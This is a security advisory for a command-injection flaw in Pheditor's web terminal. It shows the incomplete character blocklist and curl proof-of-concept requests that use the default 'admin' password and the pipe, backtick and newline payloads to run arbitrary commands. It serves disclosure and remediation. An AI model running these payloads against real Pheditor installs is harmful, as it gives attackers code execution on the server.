Résumé
Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection
Détails de l’avis
Summary
The terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added $ to the blocklist), the characters | (single pipe), ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user.
Details
Tested repository: https://github.com/pheditor/pheditor
Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)
Affected version: Pheditor 2.0.1+
The terminal handler receives $_POST['command'] and passes it to shell_exec() at pheditor.php:586:
$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');
The blocklist at pheditor.php:557 checks for &, ;, ||, and $, but does not block |, `, or newline (0x0A):
if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false || strpos($command, '#39;) !== false) {
echo json_error("Illegal character(s) in command (& ; ||)\n");
exit;
}
The TERMINAL_COMMANDS prefix check at pheditor.php:566-573 only validates that the command starts with an allowed name. All three bypasses start with a whitelisted command prefix.
Bypass 1 — Single pipe |:
The filter checks for || but not single |. Payload ls | id passes both the blocklist and the whitelist (starts with ls). The shell executes: cd '<dir>' && ls | id && echo \ ; pwd, running id.
**Bypass 2 — Backtick `:**
Backtick is not in the blocklist. Payload echo `id` passes the blocklist and whitelist (starts with echo). The shell executes id inside backtick substitution.
Bypass 3 — Newline 0x0A:
A literal newline byte is not in the blocklist. Payload ls\ntouch /tmp/proof (where \n is 0x0A) passes both checks. Only the first line is validated against the whitelist. The second line runs as an independent command.
PoC
Environment: Any system running PHP 8.x with pheditor.php deployed and shell_exec() enabled.
Setup:
git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &
Authenticate (default password admin):
curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php -d "pheditor_password=admin" -L > /dev/null
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')
Bypass 1 (pipe |):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls | id" \
--data-urlencode "dir="
Expected: {"error":false,"message":"OK","result":"uid=... gid=...\n",...} — id output proves RCE.
Bypass 2 (backtick):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="
Expected: Same id output in response.
Bypass 3 (newline 0x0A):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode #39;command=ls\nid' \
--data-urlencode "dir="
Expected: Same id output in response.
Control (blocked command without bypass):
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=whoami" \
--data-urlencode "dir="
Expected: {"error":true,"message":"Command not allowed..."} — allowlist enforced.
Cleanup:
kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt
Impact
OS Command Injection (CWE-78). Any authenticated Pheditor user with the terminal permission (enabled by default) can bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This is a bypass of the partial fix for GHSA-9643-6xjp-vx57 — that fix addressed $() substitution but three additional shell metacharacters remain unblocked.
Attacker privileges: Authenticated user (PR:L). Combined with default password admin, effectively PR:N.
Impact: Full read/write/execute access as the web server user. Confidentiality: High (read any accessible file). Integrity: High (write/delete files, deploy webshells). Availability: High (disrupt services).
Suggested remediation: Parse the command into executable + arguments, validate the executable against TERMINAL_COMMANDS with exact match, pass each argument through escapeshellarg(), or use proc_open() with an argument array to avoid shell interpretation entirely.
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-73222
Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)
- HIGHCVE-2026-73667
OpenChoreo: Authenticated OS command injection via OpenChoreo Workflow Plane templates enables code execution in privileged pods
- HIGHCVE-2026-55673
PowSyBl Core has Command Injection in LocalCommandExecutor-s
- CRITICALCVE-2026-45018
Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
- HIGHCVE-2026-55580
mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist
- HIGHCVE-2026-55581
mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable